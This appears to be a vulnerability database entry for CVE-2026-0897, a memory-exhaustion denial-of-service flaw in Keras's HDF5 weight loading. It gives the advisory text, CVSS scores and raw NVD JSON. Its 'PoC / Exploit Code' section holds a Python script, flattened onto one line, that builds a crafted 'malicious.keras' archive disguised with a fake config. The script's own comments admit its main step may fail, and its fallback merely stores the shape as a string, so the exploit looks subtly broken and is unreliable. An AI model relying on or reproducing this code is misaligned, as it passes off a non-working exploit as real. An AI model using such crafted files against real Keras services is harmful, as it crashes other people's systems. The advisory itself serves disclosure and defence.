Security Vulnerability Report
中文
CVE-2026-0897 CVSS 7.5 HIGH

CVE-2026-0897

Published: 2026-01-15 14:16:27
Last Modified: 2026-01-23 18:35:50

Description

Allocation of Resources Without Limits or Throttling in the HDF5 weight loading component in Google Keras 3.0.0 through 3.13.0 on all platforms allows a remote attacker to cause a Denial of Service (DoS) through memory exhaustion and a crash of the Python interpreter via a crafted .keras archive containing a valid model.weights.h5 file whose dataset declares an extremely large shape.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:keras:keras:*:*:*:*:*:*:*:* - VULNERABLE
Google Keras 3.0.0 - 3.13.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import h5py import numpy as np import zipfile import os def create_malicious_keras(): """ Generate PoC for CVE-2026-0897 This creates a malicious .keras file with oversized HDF5 weight datasets """ # Create malicious weights.h5 with extremely large shape with h5py.File('weights.h5', 'w') as f: # Create dataset with extremely large shape (e.g., 999999999 x 999999999) # This will cause memory exhaustion when Keras tries to allocate large_shape = (999999999, 999999999) print(f"Creating dataset with shape: {large_shape}") try: # This may fail at creation but demonstrates the concept f.create_dataset('model_weights', shape=large_shape, dtype='float32') except Exception as e: print(f"Expected error during creation: {e}") # Alternative: Create a dataset that appears valid but has unbounded dimensions # Simulating what an attacker might do f.create_dataset('var1', data=np.random.rand(1000, 1000)) f.create_dataset('_shape', data=str(large_shape)) # Create .keras archive (which is a zip file) with zipfile.ZipFile('malicious.keras', 'w') as zf: zf.write('weights.h5', 'model.weights.h5') # Add config.json to make it look like a valid model config = '{"class_name": "Sequential", "config": []}' zf.writestr('config.json', config) print("Malicious .keras file created: malicious.keras") print("When loaded by Keras 3.x, this file can cause memory exhaustion") if __name__ == '__main__': create_malicious_keras()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0897", "sourceIdentifier": "[email protected]", "published": "2026-01-15T14:16:26.890", "lastModified": "2026-01-23T18:35:49.733", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Allocation of Resources Without Limits or Throttling in the HDF5 weight loading component in Google Keras 3.0.0 through 3.13.0 on all platforms allows a remote attacker to cause a Denial of Service (DoS) through memory exhaustion and a crash of the Python interpreter via a crafted .keras archive containing a valid model.weights.h5 file whose dataset declares an extremely large shape."}, {"lang": "es", "value": "Asignación de recursos sin límites ni estrangulamiento en el componente de carga de pesos HDF5 en Google Keras 3.0.0 hasta 3.13.0 en todas las plataformas permite a un atacante remoto causar una denegación de servicio (DoS) a través del agotamiento de la memoria y un fallo del intérprete de Python mediante un archivo .keras manipulado que contiene un archivo model.weights.h5 válido cuyo conjunto de datos declara una forma extremadamente grande."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:keras:keras:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndIncluding": "3.13.0", "matchCriteriaId": "792219ED-9845-4AD4-A4D4-0E2C3E377A11"}]}]}], "references": [{"url": "https://github.com/keras-team/keras/pull/21880", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}